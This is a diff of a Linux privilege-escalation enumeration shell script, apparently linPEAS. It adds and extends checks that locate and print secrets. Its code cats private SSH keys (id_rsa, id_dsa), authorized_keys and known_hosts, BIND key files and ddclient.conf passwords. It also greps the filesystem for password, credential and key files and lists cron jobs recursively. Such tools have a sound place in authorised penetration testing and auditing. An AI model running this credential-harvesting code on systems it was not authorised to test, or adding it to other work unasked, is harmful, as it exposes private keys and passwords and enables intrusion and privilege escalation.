+  PSTORAGE_PASSWORD_FILES=$(echo -e "$FIND_SYS\n$FIND_OPT\n$FIND_BIN\n$FIND_SRV\n$FIND_LIB\n$FIND_TMP\n$FIND_APPLICATIONS\n$FIND_HOMESEARCH\n$FIND_USR\n$FIND_MEDIA\n$FIND_CDROM\n$FIND_VAR\n$FIND_SBIN\n$FIND_MNT\n$FIND_ETC\n$FIND_SYSTEM\n$FIND_SNAP\n$FIND_LIB32\n$FIND_PRIVATE\n$FIND_SYSTEMD\n$FIND_LIB64\n$FIND_RUN\n$FIND_CACHE"  | grep -E "^/.cache|^/tmp|^/opt|^/private|^/etc|^/snap|^/srv|^/applications|^/media|^/cdrom|^/sbin|^/usr|^/mnt|^/bin|^/var|^$GREPHOMESEARCH" | grep -E ".*password.*$|.*credential.*$|creds.*$|.*\.key$" | sort | uniq | head -n 70)
 
 
   ##### POST SERACH VARIABLES #####
@@ -1519,8 +1521,8 @@ if [ "`echo $CHECKS | grep ProCronSrvcsTmrsSocks`" ]; then
   crontab -l 2>/dev/null | tr -d "\r" | sed -${E} "s,$Wfolders,${SED_RED_YELLOW},g" | sed -${E} "s,$sh_usrs,${C}[1;96m&${C}[0m," | sed "s,$USER,${C}[1;95m&${C}[0m," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed "s,root,${SED_RED},"
   command -v incrontab 2>/dev/null || echo_not_found "incrontab"
   incrontab -l 2>/dev/null
-  ls -al /etc/cron* 2>/dev/null | sed -${E} "s,$cronjobsG,${SED_GREEN},g" | sed "s,$cronjobsB,${SED_RED},g"
-  cat /etc/cron* /etc/at* /etc/anacrontab /var/spool/cron/crontabs /var/spool/cron/crontabs/* /var/spool/anacron /etc/incron.d/* /var/spool/incron/* 2>/dev/null | tr -d "\r" | grep -v "^#\|test \-x /usr/sbin/anacron\|run\-parts \-\-report /etc/cron.hourly\| root run-parts /etc/cron." | sed -${E} "s,$Wfolders,${SED_RED_YELLOW},g" | sed -${E} "s,$sh_usrs,${C}[1;96m&${C}[0m," | sed "s,$USER,${C}[1;95m&${C}[0m," | sed -${E} "s,$nosh_usrs,${SED_BLUE},"  | sed "s,root,${SED_RED},"
+  ls -alR /etc/cron* /var/spool/cron/crontabs /var/spool/anacron 2>/dev/null | sed -${E} "s,$cronjobsG,${SED_GREEN},g" | sed "s,$cronjobsB,${SED_RED},g"
+  cat /etc/cron* /etc/at* /etc/anacrontab /var/spool/cron/crontabs/* /etc/incron.d/* /var/spool/incron/* 2>/dev/null | tr -d "\r" | grep -v "^#\|test \-x /usr/sbin/anacron\|run\-parts \-\-report /etc/cron.hourly\| root run-parts /etc/cron." | sed -${E} "s,$Wfolders,${SED_RED_YELLOW},g" | sed -${E} "s,$sh_usrs,${C}[1;96m&${C}[0m," | sed "s,$USER,${C}[1;95m&${C}[0m," | sed -${E} "s,$nosh_usrs,${SED_BLUE},"  | sed "s,root,${SED_RED},"
   crontab -l -u "$USER" 2>/dev/null | tr -d "\r"
   ls -l /usr/lib/cron/tabs/ /Library/LaunchAgents/ /Library/LaunchDaemons/ ~/Library/LaunchAgents/ 2>/dev/null #MacOS paths
   echo ""
@@ -2061,7 +2063,7 @@ if [ "`echo $CHECKS | grep SofI`" ]; then
     if ! [ "`echo \"$PSTORAGE_FASTCGI\" | grep -E \"fastcgi_params$\"`" ]; then echo_not_found "fastcgi_params"; fi; printf "%s" "$PSTORAGE_FASTCGI" | grep -E "fastcgi_params$" | while read f; do ls -ld "$f" | sed -${E} "s,fastcgi_params$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -E "DB_NAME|DB_USER|DB_PASS" | sed -${E} "s,DB_NAME|DB_USER|DB_PASS,${SED_RED},g"; done; echo "";
 
 
-    print_2title "Analizing Http_conf Files (limit 70)"
+    print_2title "Analizing Http conf Files (limit 70)"
     if ! [ "`echo \"$PSTORAGE_HTTP_CONF\" | grep -E \"httpd\.conf$\"`" ]; then echo_not_found "httpd.conf"; fi; printf "%s" "$PSTORAGE_HTTP_CONF" | grep -E "httpd\.conf$" | while read f; do ls -ld "$f" | sed -${E} "s,httpd\.conf$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -E "htaccess.*|htpasswd.*" | grep -Ev "\W+\#|^#" | sed -${E} "s,htaccess.*|htpasswd.*,${SED_RED},g"; done; echo "";
 
 
@@ -2140,9 +2142,13 @@ if [ "`echo $CHECKS | grep SofI`" ]; then
   hostsdenied="`ls /etc/hosts.denied 2>/dev/null`"
   hostsallow="`ls /etc/hosts.allow 2>/dev/null`"
 
-  if [ "$PSTORAGE_SSH_FILES"  ]; then
-    printf "$PSTORAGE_SSH_FILES\n"
-  fi
+    print_2title "Analizing SSH FILES Files (limit 70)"
+    if ! [ "`echo \"$PSTORAGE_SSH_FILES\" | grep -E \"id_dsa.*$\"`" ]; then echo_not_found "id_dsa*"; fi; printf "%s" "$PSTORAGE_SSH_FILES" | grep -E "id_dsa.*$" | while read f; do ls -ld "$f" | sed -${E} "s,id_dsa.*$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$"; done; echo "";
+    if ! [ "`echo \"$PSTORAGE_SSH_FILES\" | grep -E \"id_rsa.*$\"`" ]; then echo_not_found "id_rsa*"; fi; printf "%s" "$PSTORAGE_SSH_FILES" | grep -E "id_rsa.*$" | while read f; do ls -ld "$f" | sed -${E} "s,id_rsa.*$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$"; done; echo "";
+    if ! [ "`echo \"$PSTORAGE_SSH_FILES\" | grep -E \"known_hosts$\"`" ]; then echo_not_found "known_hosts"; fi; printf "%s" "$PSTORAGE_SSH_FILES" | grep -E "known_hosts$" | while read f; do ls -ld "$f" | sed -${E} "s,known_hosts$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$"; done; echo "";
+    if ! [ "`echo \"$PSTORAGE_SSH_FILES\" | grep -E \"authorized_hosts$\"`" ]; then echo_not_found "authorized_hosts"; fi; printf "%s" "$PSTORAGE_SSH_FILES" | grep -E "authorized_hosts$" | while read f; do ls -ld "$f" | sed -${E} "s,authorized_hosts$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$"; done; echo "";
+    if ! [ "`echo \"$PSTORAGE_SSH_FILES\" | grep -E \"authorized_keys$\"`" ]; then echo_not_found "authorized_keys"; fi; printf "%s" "$PSTORAGE_SSH_FILES" | grep -E "authorized_keys$" | while read f; do ls -ld "$f" | sed -${E} "s,authorized_keys$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,from=[\w\._\-]+,${SED_GOOD},g"; done; echo "";
+
 
   grep "PermitRootLogin \|ChallengeResponseAuthentication \|PasswordAuthentication \|UsePAM \|Port\|PermitEmptyPasswords\|PubkeyAuthentication\|ListenAddress\|ForwardAgent\|AllowAgentForwarding\|AuthorizedKeysFiles" /etc/ssh/sshd_config 2>/dev/null | grep -v "#" | sed -${E} "s,PermitRootLogin.*es|PermitEmptyPasswords.*es|ChallengeResponseAuthentication.*es|FordwardAgent.*es,${SED_RED},"
 
@@ -2601,6 +2607,16 @@ if [ "`echo $CHECKS | grep SofI`" ]; then
     if ! [ "`echo \"$PSTORAGE_FTP\" | grep -E \"ws_ftp\.ini$\"`" ]; then echo_not_found "ws_ftp.ini"; fi; printf "%s" "$PSTORAGE_FTP" | grep -E "ws_ftp\.ini$" | while read f; do ls -ld "$f" | sed -${E} "s,ws_ftp\.ini$,${SED_RED},"; done; echo "";
 
 
+    print_2title "Analizing Bind Files (limit 70)"
+    if ! [ "`echo \"$PSTORAGE_BIND\" | grep -E \"bind$\"`" ]; then echo_not_found "bind"; fi; printf "%s" "$PSTORAGE_BIND" | grep -E "bind$" | while read f; do ls -ld "$f" | sed -${E} "s,bind$,${SED_RED},"; for ff in $(find "$f" -name "*"); do ls -ld "$ff" | sed -${E} "s,,${SED_RED},"; done; echo "";for ff in $(find "$f" -name "*.key"); do ls -ld "$ff" | sed -${E} "s,.key,${SED_RED},"; cat "$ff" 2>/dev/null | grep -IEv "^$" | grep -Ev "^#" | sed -${E} "s,.*,${SED_RED},g"; done; echo "";done; echo "";
+
+
+  print_2title "Analizing Ddclient Files (limit 70)"
+    if ! [ "`echo \"$PSTORAGE_DDCLIENT\" | grep -E \"ddclient\.conf$\"`" ]; then echo_not_found "ddclient.conf"; fi; printf "%s" "$PSTORAGE_DDCLIENT" | grep -E "ddclient\.conf$" | while read f; do ls -ld "$f" | sed -${E} "s,ddclient\.conf$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,.*password.*,${SED_RED},g"; done; echo "";
+
+
+
+
     print_2title "Analizing Interesting logs Files (limit 70)"
     if ! [ "`echo \"$PSTORAGE_INTERESTING_LOGS\" | grep -E \"access\.log$\"`" ]; then echo_not_found "access.log"; fi; printf "%s" "$PSTORAGE_INTERESTING_LOGS" | grep -E "access\.log$" | while read f; do ls -ld "$f" | sed -${E} "s,access\.log$,${SED_RED},"; done; echo "";
     if ! [ "`echo \"$PSTORAGE_INTERESTING_LOGS\" | grep -E \"error\.log$\"`" ]; then echo_not_found "error.log"; fi; printf "%s" "$PSTORAGE_INTERESTING_LOGS" | grep -E "error\.log$" | while read f; do ls -ld "$f" | sed -${E} "s,error\.log$,${SED_RED},"; done; echo "";